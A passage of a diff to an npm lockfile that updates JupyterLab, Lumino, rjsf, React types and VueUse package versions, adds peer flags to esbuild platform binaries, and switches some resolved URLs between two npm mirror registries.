- "optional": true + "optional": true, + "peer": true }, "@esbuild/linux-riscv64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-riscv64/-/linux-riscv64-0.17.19.tgz", "integrity": "sha512-FC3nUAWhvFoutlhAkgHf8f5HwFWUL6bYdvLc/TTuxKlvLi3+pPzdZiFKSWz/PF30TB1K19SuCxDTI5KcqASJqA==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/linux-s390x": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-s390x/-/linux-s390x-0.17.19.tgz", "integrity": "sha512-IbFsFbxMWLuKEbH+7sTkKzL6NJmG2vRyy6K7JJo55w+8xDk7RElYn6xvXtDW8HCfoKBFK69f3pgBJSUSQPr+4Q==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/linux-x64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-x64/-/linux-x64-0.17.19.tgz", "integrity": "sha512-68ngA9lg2H6zkZcyp22tsVt38mlhWde8l3eJLWkyLrp4HwMUr3c1s/M2t7+kHIhvMjglIBrFpncX1SzMckomGw==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/netbsd-x64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/netbsd-x64/-/netbsd-x64-0.17.19.tgz", "integrity": "sha512-CwFq42rXCR8TYIjIfpXCbRX0rp1jo6cPIUPSaWwzbVI4aOfX96OXY8M6KNmtPcg7QjYeDmN+DD0Wp3LaBOLf4Q==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/openbsd-x64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/openbsd-x64/-/openbsd-x64-0.17.19.tgz", "integrity": "sha512-cnq5brJYrSZ2CF6c35eCmviIN3k3RczmHz8eYaVlNasVqsNY+JKohZU5MKmaOI+KkllCdzOKKdPs762VCPC20g==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/sunos-x64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/sunos-x64/-/sunos-x64-0.17.19.tgz", "integrity": "sha512-vCRT7yP3zX+bKWFeP/zdS6SqdWB8OIpaRq/mbXQxTGHnIxspRtigpkUcDMlSCOejlHowLqII7K2JKevwyRP2rg==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/win32-arm64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/win32-arm64/-/win32-arm64-0.17.19.tgz", "integrity": "sha512-yYx+8jwowUstVdorcMdNlzklLYhPxjniHWFKgRqH7IFlUEa0Umu3KuYplf1HUZZ422e3NU9F4LGb+4O0Kdcaag==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/win32-ia32": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/win32-ia32/-/win32-ia32-0.17.19.tgz", "integrity": "sha512-eggDKanJszUtCdlVs0RB+h35wNlb5v4TWEkq4vZcmVt5u/HiDZrTXe2bWFQUez3RgNHwx/x4sk5++4NSSicKkw==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@esbuild/win32-x64": { "version": "0.17.19", "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/win32-x64/-/win32-x64-0.17.19.tgz", "integrity": "sha512-lAhycmKnVOuRYNtRtatQR1LPQf2oYCkRGkSFnseDAKPl8lu5SOsK/e1sXe5a0Pc5kHIHe6P2I/ilntNv2xf3cA==", "dev": true, - "optional": true + "optional": true, + "peer": true }, "@fortawesome/fontawesome-free": { "version": "5.15.4", @@ -3355,20 +3810,20 @@ } }, "@jupyterlab/application": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/application/-/application-4.0.2.tgz", - "integrity": "sha512-sFF2YJBRiJGu6Jx2PE/JRwmwuLTs9eHEoqaZGCD6H4loj8iDlCuwb26JVmbCz94QzgB00KFMYCBV6K7UWhid9g==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/application/-/application-4.0.3.tgz", + "integrity": "sha512-fnZe+j3ZJg0zVZuDxHOkafqhB9SFiIWestFqfJ+2bvnPxVfBd5kAJdGi8U56TV4KxKdNbhnRV4POIQAedtCoRA==", "requires": { "@fortawesome/fontawesome-free": "^5.12.0", - "@jupyterlab/apputils": "^4.1.2", - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/docregistry": "^4.0.2", - "@jupyterlab/rendermime": "^4.0.2", - "@jupyterlab/rendermime-interfaces": "^3.8.2", - "@jupyterlab/services": "^7.0.2", - "@jupyterlab/statedb": "^4.0.2", - "@jupyterlab/translation": "^4.0.2", - "@jupyterlab/ui-components": "^4.0.2", + "@jupyterlab/apputils": "^4.1.3", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/docregistry": "^4.0.3", + "@jupyterlab/rendermime": "^4.0.3", + "@jupyterlab/rendermime-interfaces": "^3.8.3", + "@jupyterlab/services": "^7.0.3", + "@jupyterlab/statedb": "^4.0.3", + "@jupyterlab/translation": "^4.0.3", + "@jupyterlab/ui-components": "^4.0.3", "@lumino/algorithm": "^2.0.0", "@lumino/application": "^2.1.1", "@lumino/commands": "^2.1.1", @@ -3389,19 +3844,19 @@ } }, "@jupyterlab/apputils": { - "version": "4.1.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/apputils/-/apputils-4.1.2.tgz", - "integrity": "sha512-Gj4xd4i+y7j6W1n+cJVA+LBC20fcFUanxDxZfaYwfSFA9b/7ijx3dfw9zRY9taqzBdun17HCjynvLbOJfMwYEg==", + "version": "4.1.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/apputils/-/apputils-4.1.3.tgz", + "integrity": "sha512-63k/fYrHkIePxT9ATMw76oSBqqTYDS3uBLNRxCB/B6MLYJeSN1Zo6Wsky+LdanuUAqtvXYMady0WTiSo1P1mzQ==", "requires": { - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/observables": "^5.0.2", - "@jupyterlab/rendermime-interfaces": "^3.8.2", - "@jupyterlab/services": "^7.0.2", - "@jupyterlab/settingregistry": "^4.0.2", - "@jupyterlab/statedb": "^4.0.2", - "@jupyterlab/statusbar": "^4.0.2", - "@jupyterlab/translation": "^4.0.2", - "@jupyterlab/ui-components": "^4.0.2", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/observables": "^5.0.3", + "@jupyterlab/rendermime-interfaces": "^3.8.3", + "@jupyterlab/services": "^7.0.3", + "@jupyterlab/settingregistry": "^4.0.3", + "@jupyterlab/statedb": "^4.0.3", + "@jupyterlab/statusbar": "^4.0.3", + "@jupyterlab/translation": "^4.0.3", + "@jupyterlab/ui-components": "^4.0.3", "@lumino/algorithm": "^2.0.0", "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", @@ -3424,18 +3879,18 @@ } }, "@jupyterlab/codeeditor": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/codeeditor/-/codeeditor-4.0.2.tgz", - "integrity": "sha512-7YmKs8litDFfB1oGUcA6SKylx8VnBYDW5fqbLapzhhvBQD5lPK/Gk3vaDF5U8BwsjQqHVeK2+5ZJPYKJYKGzGg==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/codeeditor/-/codeeditor-4.0.3.tgz", + "integrity": "sha512-dBgAbHj04ff6lTf31HTPKs2P1iK1G/Y3ah2AGLHhK6p1JEDwH09/3fMrOQhfKa8Ehy/cXe8mNdTydeguxzdOwQ==", "requires": { "@codemirror/state": "^6.2.0", "@jupyter/ydoc": "^1.0.2", - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/nbformat": "^4.0.2", - "@jupyterlab/observables": "^5.0.2", - "@jupyterlab/statusbar": "^4.0.2", - "@jupyterlab/translation": "^4.0.2", - "@jupyterlab/ui-components": "^4.0.2", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/nbformat": "^4.0.3", + "@jupyterlab/observables": "^5.0.3", + "@jupyterlab/statusbar": "^4.0.3", + "@jupyterlab/translation": "^4.0.3", + "@jupyterlab/ui-components": "^4.0.3", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", "@lumino/dragdrop": "^2.1.1", @@ -3453,9 +3908,9 @@ } }, "@jupyterlab/coreutils": { - "version": "6.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/coreutils/-/coreutils-6.0.2.tgz", - "integrity": "sha512-jSGATyE11MuX1gbH/QYJZkYh8ddbV8SdRQ36U5Exy/oAL0ukF6vqfpIpDpo/EAW+p9aDBlSnvi3WtgyVQcltqg==", + "version": "6.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/coreutils/-/coreutils-6.0.3.tgz", + "integrity": "sha512-4OUzPBw9TXUIiqj0+cujD1d6u0wuIc00P9BNLLZrH6O1SVt2boQaD5TpDtBx1z6hLgg0URXvM497ZtjBntwknA==", "requires": { "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -3473,20 +3928,20 @@ } }, "@jupyterlab/docregistry": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/docregistry/-/docregistry-4.0.2.tgz", - "integrity": "sha512-juWWfov9RK0fuvhj7ckVgmYqiwQPFSoKs040Wv9nppnYDfNJDQQmQMPFlSJA0irZ9AxfTyf1+TjRe+WVQcHvvg==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/docregistry/-/docregistry-4.0.3.tgz", + "integrity": "sha512-Gt8U6c2aaezMzyRzHUa3SBRPTALX8nvlx/x6Q6EtY31ng6BU2/EulS9e3PCzrFhxg+gxeyyQsm4CqLfzV2Pvdw==", "requires": { "@jupyter/ydoc": "^1.0.2", - "@jupyterlab/apputils": "^4.1.2", - "@jupyterlab/codeeditor": "^4.0.2", - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/observables": "^5.0.2", - "@jupyterlab/rendermime": "^4.0.2", - "@jupyterlab/rendermime-interfaces": "^3.8.2", - "@jupyterlab/services": "^7.0.2", - "@jupyterlab/translation": "^4.0.2", - "@jupyterlab/ui-components": "^4.0.2", + "@jupyterlab/apputils": "^4.1.3", + "@jupyterlab/codeeditor": "^4.0.3", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/observables": "^5.0.3", + "@jupyterlab/rendermime": "^4.0.3", + "@jupyterlab/rendermime-interfaces": "^3.8.3", + "@jupyterlab/services": "^7.0.3", + "@jupyterlab/translation": "^4.0.3", + "@jupyterlab/ui-components": "^4.0.3", "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -3513,9 +3968,9 @@ } }, "@jupyterlab/nbformat": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/nbformat/-/nbformat-4.0.2.tgz", - "integrity": "sha512-K83wDb1iUViTk4mj228SR4E0GPASiykXcD/tVYAOvxWv8TsaZ2UK/dcX4ZtBEZpVqI5enRrq8Z7xISMR+3CRBg==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/nbformat/-/nbformat-4.0.3.tgz", + "integrity": "sha512-wpOktEi5XLPrAvTH+xkimeDghOz+oj1lPUHLeRTzcYBZfMybHQxV9XKfroXllcypkyqSBI5Ppfv6/GYeQQzmHQ==", "requires": { "@lumino/coreutils": "^2.1.1" }, @@ -3528,9 +3983,9 @@ } }, "@jupyterlab/observables": { - "version": "5.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/observables/-/observables-5.0.2.tgz", - "integrity": "sha512-mZowpnUrfKqjc2OjwBjI4je2idMaoM3OURCcPMlcCVCZUUiFEB2SOCx8/1jWrotw/er5Cjp7vROZ7Iz8BiIW1g==", + "version": "5.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/observables/-/observables-5.0.3.tgz", + "integrity": "sha512-g71z04PIl7i7PrJDEXFirTwCjotXgVl/9WCYDXdXGIN5QDUkY4P8b1J7aRNaZxW0dTa3FA+W5zOD4EdfFDNeNg==", "requires": { "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", @@ -3547,17 +4002,17 @@ } }, "@jupyterlab/rendermime": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime/-/rendermime-4.0.2.tgz", - "integrity": "sha512-x5nPqwGnJCkbS6+jEmhN/fKNSM22DCbO+vwZYAa8dbcL+xURRE7iockxX6cpdHhMNeQ/JlZ5m4HQyTmIzd4N/Q==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime/-/rendermime-4.0.3.tgz", + "integrity": "sha512-Bb9OMtyVN4hBPvnnPMS0q1CStmXK7Owlf3PWokGmyNFBBwheoEgPu3+gIuUpolDpQdDsq/AFOCQj1eLVHekPTQ==", "requires": { - "@jupyterlab/apputils": "^4.1.2", - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/nbformat": "^4.0.2", - "@jupyterlab/observables": "^5.0.2", - "@jupyterlab/rendermime-interfaces": "^3.8.2", - "@jupyterlab/services": "^7.0.2", - "@jupyterlab/translation": "^4.0.2", + "@jupyterlab/apputils": "^4.1.3", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/nbformat": "^4.0.3", + "@jupyterlab/observables": "^5.0.3", + "@jupyterlab/rendermime-interfaces": "^3.8.3", + "@jupyterlab/services": "^7.0.3", + "@jupyterlab/translation": "^4.0.3", "@lumino/coreutils": "^2.1.1", "@lumino/messaging": "^2.0.0", "@lumino/signaling": "^2.1.1", @@ -3573,9 +4028,9 @@ } }, "@jupyterlab/rendermime-interfaces": { - "version": "3.8.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime-interfaces/-/rendermime-interfaces-3.8.2.tgz", - "integrity": "sha512-IOnzA/ccfwXGO/RaWysYn74ojJ7PaH5igTnS0sjo4qIprFZ6tCORTrKF594BA7Qz6PpW2+GpdUVMUnnYdU5R9Q==", + "version": "3.8.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime-interfaces/-/rendermime-interfaces-3.8.3.tgz", + "integrity": "sha512-XG0Wp/WMXcWdAILej766VpeXUAN31XYSAW9mMTw5Y+SQFfBAmHBekLMp+/+aG8n3ngqXcALeYIwBR3eF4QsKcA==", "requires": { "@lumino/coreutils": "^1.11.0 || ^2.1.1", "@lumino/widgets": "^1.37.2 || ^2.1.1" @@ -3589,15 +4044,15 @@ } }, "@jupyterlab/services": { - "version": "7.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/services/-/services-7.0.2.tgz", - "integrity": "sha512-luhc5wVdojQ0kVM1EMv7HkI6eiEU36Sj69a0vNRFj2U+VcgN9Dicb+vlOZnS1cOOGNhSRjKuaREkXRfEETsq3A==", + "version": "7.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/services/-/services-7.0.3.tgz", + "integrity": "sha512-JeOsylwfSIjDMUktB3qRXYJ7hJkrHHdwo2PDGgtT4Uevdw1SB7eBCfYA2B9IIDUKJBfV6BWqbqMWz/DNOgDPwg==", "requires": { "@jupyter/ydoc": "^1.0.2", - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/nbformat": "^4.0.2", - "@jupyterlab/settingregistry": "^4.0.2", - "@jupyterlab/statedb": "^4.0.2", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/nbformat": "^4.0.3", + "@jupyterlab/settingregistry": "^4.0.3", + "@jupyterlab/statedb": "^4.0.3", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", "@lumino/polling": "^2.1.1", @@ -3614,12 +4069,12 @@ } }, "@jupyterlab/settingregistry": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/settingregistry/-/settingregistry-4.0.2.tgz", - "integrity": "sha512-c0HrgJescIoEz+DWm1wt7pNYGaMK1kq+7Ask8BRJBWJwwg9RuIrgPUd58Kc14YGNvIvDTPvgltUunhQIBZJQzg==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/settingregistry/-/settingregistry-4.0.3.tgz", + "integrity": "sha512-hwOJkp9xW0K68in+Mi11SzqAcVU95hBTOPKRDvpjHjvURA6BUHeYYCSlpre1kzBn6FrySP9DCmOnK9wb/82KoA==", "requires": { - "@jupyterlab/nbformat": "^4.0.2", - "@jupyterlab/statedb": "^4.0.2", + "@jupyterlab/nbformat": "^4.0.3", + "@jupyterlab/statedb": "^4.0.3", "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -3637,9 +4092,9 @@ } }, "@jupyterlab/statedb": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/statedb/-/statedb-4.0.2.tgz", - "integrity": "sha512-erVHlzJkd8xPsOHyAlImJgOAS9ohq4zRloX2+VMpCJHeYrK5z/KO9mVQlAFFC1JNlm3C3JjnvZBbTAZshzsMHA==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/statedb/-/statedb-4.0.3.tgz", + "integrity": "sha512-/RDoOKYOR2+fIa9gVoNXjwXRQCZqcF0ilwJlyVz6um8hWqDDUlG/lJpUV6A2LZ0nnX6o7+RPQlKkW+6ns7WX8A==", "requires": { "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", @@ -3656,11 +4111,11 @@ } }, "@jupyterlab/statusbar": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/statusbar/-/statusbar-4.0.2.tgz", - "integrity": "sha512-5p3tSG/VM8TQ1SDIPRYBK0P2Bh+2VK1eCiCna/Zane3OHZww99JM+7yySiGYffbJuhD5ZHp+a8IYXAbAE5xVOg==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/statusbar/-/statusbar-4.0.3.tgz", + "integrity": "sha512-oGCrkD1xBfNP84xD0EJ7kuzRnxLrH2HqoB9x+EksrqglrFWreUnx/cq2KImBctsOr3w2zyoqIXF9W23gy0xk5A==", "requires": { - "@jupyterlab/ui-components": "^4.0.2", + "@jupyterlab/ui-components": "^4.0.3", "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -3678,24 +4133,24 @@ } }, "@jupyterlab/theme-light-extension": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/theme-light-extension/-/theme-light-extension-4.0.2.tgz", - "integrity": "sha512-HFwCXbe/3u3Feo/XQEN3zd15Hsa2TGgBAVuViZ935BZ0sipATpiNYWAmLx2HBqUisuI/zN6Lrkh8Uw1S73WBOQ==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/theme-light-extension/-/theme-light-extension-4.0.3.tgz", + "integrity": "sha512-Wp2mIW0W47x2vU0JnTBS/8iuvFJQ44QRjdhWYMPaRmVpqScP8nqgUV36gx1VqYNkuZL2qlreF8PBj4TRxgZmYA==", "requires": { - "@jupyterlab/application": "^4.0.2", - "@jupyterlab/apputils": "^4.1.2", - "@jupyterlab/translation": "^4.0.2" + "@jupyterlab/application": "^4.0.3", + "@jupyterlab/apputils": "^4.1.3", + "@jupyterlab/translation": "^4.0.3" } }, "@jupyterlab/translation": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/translation/-/translation-4.0.2.tgz", - "integrity": "sha512-EiYk/dt4hBAnrHKw7YXfeKmqvug6bWadQVthY0lRE18FuSKVAOgWv2qRAxOSZEWiFyUjEKutUg5OOms6KCHZFA==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/translation/-/translation-4.0.3.tgz", + "integrity": "sha512-II6xupfMXkzvLVrQb60gm/sLkPf2LsHgvk1jCeOdH+4N+lbzpMsL9mxkNj7egH9FbLbW7OWqrzBb8h3MksYrPg==", "requires": { - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/rendermime-interfaces": "^3.8.2", - "@jupyterlab/services": "^7.0.2", - "@jupyterlab/statedb": "^4.0.2", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/rendermime-interfaces": "^3.8.3", + "@jupyterlab/services": "^7.0.3", + "@jupyterlab/statedb": "^4.0.3", "@lumino/coreutils": "^2.1.1" }, "dependencies": { @@ -3707,14 +4162,14 @@ } }, "@jupyterlab/ui-components": { - "version": "4.0.2", - "resolved": "https://registry.npmmirror.com/@jupyterlab/ui-components/-/ui-components-4.0.2.tgz", - "integrity": "sha512-TdLgTmHzi4NuRXUCls0Nh2+C2x66tQzimQRt6hRklpB9RCI2uNcr23HXe70Dc+nNXNHwXePbnT+MAsLbWHjfDw==", + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/@jupyterlab/ui-components/-/ui-components-4.0.3.tgz", + "integrity": "sha512-6rbqufHggkI501Pbe1hYCKsnXHje2OCUuc25SVSEgXybyDESTfyZqR4ahv0/0g4PXECWflIQakNFEaqQiAT0yg==", "requires": { - "@jupyterlab/coreutils": "^6.0.2", - "@jupyterlab/observables": "^5.0.2", - "@jupyterlab/rendermime-interfaces": "^3.8.2", - "@jupyterlab/translation": "^4.0.2", + "@jupyterlab/coreutils": "^6.0.3", + "@jupyterlab/observables": "^5.0.3", + "@jupyterlab/rendermime-interfaces": "^3.8.3", + "@jupyterlab/translation": "^4.0.3", "@lumino/algorithm": "^2.0.0", "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", @@ -3775,13 +4230,13 @@ "integrity": "sha512-SwM/8U1zlMWMJj00wTCThdTUit9zap2Xghuo4uUxvZ+mfog5b1UIk2j1dP8TPpzEXHCDPEb85s2/ERo1tee3Dw==" }, "@lumino/application": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/@lumino/application/-/application-2.1.1.tgz", - "integrity": "sha512-TjkM3Iwt6pxv6pksEXSCXRxp1DLCsyHgTiURYETeRZBnRXTDJzhjPQr4K1VOZRH1ToLeeVNoyHmI+b9rWQSewQ==", + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/@lumino/application/-/application-2.2.0.tgz", + "integrity": "sha512-hivdDH2/YiOLtvsfY60GSUc+d6Rxh07dz6wp8ZnoalFmzdqqI8mcW4H30PchVdmqxXK0qxZIjLlP9A3fOu/xIw==", "requires": { - "@lumino/commands": "^2.1.1", + "@lumino/commands": "^2.1.2", "@lumino/coreutils": "^2.1.1", - "@lumino/widgets": "^2.1.1" + "@lumino/widgets": "^2.2.0" }, "dependencies": { "@lumino/coreutils": { @@ -3800,9 +4255,9 @@ } }, "@lumino/commands": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/@lumino/commands/-/commands-2.1.1.tgz", - "integrity": "sha512-KaEkRCemZ7BZM4wCvsLx+oSdPxdggdg0p+1+FXm8d9adsVV8xwxrEAAgEP4/YPytexgyf7OnKT9aOpuss/VGjA==", + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/@lumino/commands/-/commands-2.1.2.tgz", + "integrity": "sha512-wdA7kx2z0oygD44yQo5Tlk+yViKqmjTqwQSg2jfKfGyVOrwM3i1NXdZ8ntIV8WQIHmg24D2WqElwjUq5G7bGlw==", "requires": { "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", @@ -3840,9 +4295,9 @@ "integrity": "sha512-GYsz6CS6Gd+7r9IBe/0m+3/xAuOKrjfiXwWt7OLsOM1icRv93yS+gxleCLp2+LSwoqU90sqfav+uYABtPkA4QA==" }, "@lumino/dragdrop": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/@lumino/dragdrop/-/dragdrop-2.1.1.tgz", - "integrity": "sha512-TRrKo8sWx0cnZ1X8U8Rqijd0lQ82Fgu+BseVy3zDYiANwt9jMMOPjp1qzVY2/lDCmuZptYbUKXOznS0khzCUTg==", + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/@lumino/dragdrop/-/dragdrop-2.1.2.tgz", + "integrity": "sha512-89Sc2HpGHQnzQx4/A/oVmS1uOfy4YjRJtNvdr/7zoUeJTib9vxKvlzrsRopLqvmyQPzJMnulEkiWuWsgzNnLeA==", "requires": { "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1" @@ -3916,16 +4371,16 @@ } }, "@lumino/widgets": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/@lumino/widgets/-/widgets-2.1.1.tgz", - "integrity": "sha512-SpZ9ekxrc1KSdP8DqAUyTyCfAbBl0swyzzYI9bXNnmi6DzUGSsgE2c985pl+tY8DXHIIOVHQey267psZ35Hp1w==", + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/@lumino/widgets/-/widgets-2.2.0.tgz", + "integrity": "sha512-nQ5UXjcl+Tvddeev0We5aoW2erm5KffKCJZEo6/1i4t2cj90v2ndqtXtbiCjeQOBDojIH6u1BVPtUExTh00cbA==", "requires": { "@lumino/algorithm": "^2.0.0", - "@lumino/commands": "^2.1.1", + "@lumino/commands": "^2.1.2", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", "@lumino/domutils": "^2.0.0", - "@lumino/dragdrop": "^2.1.1", + "@lumino/dragdrop": "^2.1.2", "@lumino/keyboard": "^2.0.0", "@lumino/messaging": "^2.0.0", "@lumino/properties": "^2.0.0", @@ -3941,9 +4396,9 @@ } }, "@rjsf/core": { - "version": "5.8.1", - "resolved": "https://registry.npmmirror.com/@rjsf/core/-/core-5.8.1.tgz", - "integrity": "sha512-+lJKK/fdVO+DqKhSzSY8bjyAv5weoLw44d/DnCn2U8/l9qY0nqfNSvG6gyZIC9kCNnzLS/76XFAltWXgtjjzFQ==", + "version": "5.9.0", + "resolved": "https://registry.npmmirror.com/@rjsf/core/-/core-5.9.0.tgz", + "integrity": "sha512-HYgnWKTGVfbj6bs1O9SYyw4VgBfoISZeQti259aiKK08XDVH+tgThxBMX4CyMjC/K9I4ralRV9KRlGO1un0DzQ==", "requires": { "lodash": "^4.17.21", "lodash-es": "^4.17.21", @@ -3953,9 +4408,9 @@ } }, "@rjsf/utils": { - "version": "5.8.1", - "resolved": "https://registry.npmmirror.com/@rjsf/utils/-/utils-5.8.1.tgz", - "integrity": "sha512-kzWVNAW417ADG0nSEPxpqYzLrtzi9tKCCn5rOuwt6FIvSrtkatISBekyKNeycGPUfQR9VkROGrcG8cz10xUs6g==", + "version": "5.9.0", + "resolved": "https://registry.npmmirror.com/@rjsf/utils/-/utils-5.9.0.tgz", + "integrity": "sha512-+UBRrbHgbG/y6Lj32O0U5oiNpbpKZqsFxPKuOCmOqpsfwmb072AyGoHqskc2e05Ur/iURcbBu3xt72aF1azLmQ==", "requires": { "json-schema-merge-allof": "^0.8.1", "jsonpointer": "^5.0.1", @@ -3970,9 +4425,9 @@ "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==" }, "@types/react": { - "version": "18.2.6", - "resolved": "https://registry.npmmirror.com/@types/react/-/react-18.2.6.tgz", - "integrity": "sha512-wRZClXn//zxCFW+ye/D2qY65UsYP1Fpex2YXorHc8awoNamkMZSvBxwxdYVInsHOZZd2Ppq8isnSzJL5Mpf8OA==", + "version": "18.2.15", + "resolved": "https://registry.npmmirror.com/@types/react/-/react-18.2.15.tgz", + "integrity": "sha512-oEjE7TQt1fFTFSbf8kkNuc798ahTUzn3Le67/PWjE8MAfYAD/qB7O8hSTcromLFqHCt9bcdOg5GXMokzTjJ5SA==", "requires": { "@types/prop-types": "*", "@types/scheduler": "*", @@ -3986,7 +4441,7 @@ }, "@types/web-bluetooth": { "version": "0.0.17", - "resolved": "https://repo.huaweicloud.com/repository/npm/@types/web-bluetooth/-/web-bluetooth-0.0.17.tgz", + "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.17.tgz", "integrity": "sha512-4p9vcSmxAayx72yn70joFoL44c9MO/0+iVEBIQXe3v2h2SiAsEIo/G5v6ObFWvNKRFjbrVadNf9LqEEZeQPzdA==", "dev": true }, @@ -4113,20 +4568,20 @@ "dev": true }, "@vueuse/core": { - "version": "10.1.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/core/-/core-10.1.2.tgz", - "integrity": "sha512-roNn8WuerI56A5uiTyF/TEYX0Y+VKlhZAF94unUfdhbDUI+NfwQMn4FUnUscIRUhv3344qvAghopU4bzLPNFlA==", + "version": "10.2.1", + "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-10.2.1.tgz", + "integrity": "sha512-c441bfMbkAwTNwVRHQ0zdYZNETK//P84rC01aP2Uy/aRFCiie9NE/k9KdIXbno0eDYP5NPUuWv0aA/I4Unr/7w==", "dev": true, "requires": { "@types/web-bluetooth": "^0.0.17", - "@vueuse/metadata": "10.1.2", - "@vueuse/shared": "10.1.2", - "vue-demi": ">=0.14.0" + "@vueuse/metadata": "10.2.1", + "@vueuse/shared": "10.2.1", + "vue-demi": ">=0.14.5" }, "dependencies": { "vue-demi": { "version": "0.14.5", - "resolved": "https://repo.huaweicloud.com/repository/npm/vue-demi/-/vue-demi-0.14.5.tgz", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.5.tgz", "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", "dev": true, "requires": {} @@ -4134,19 +4589,19 @@ 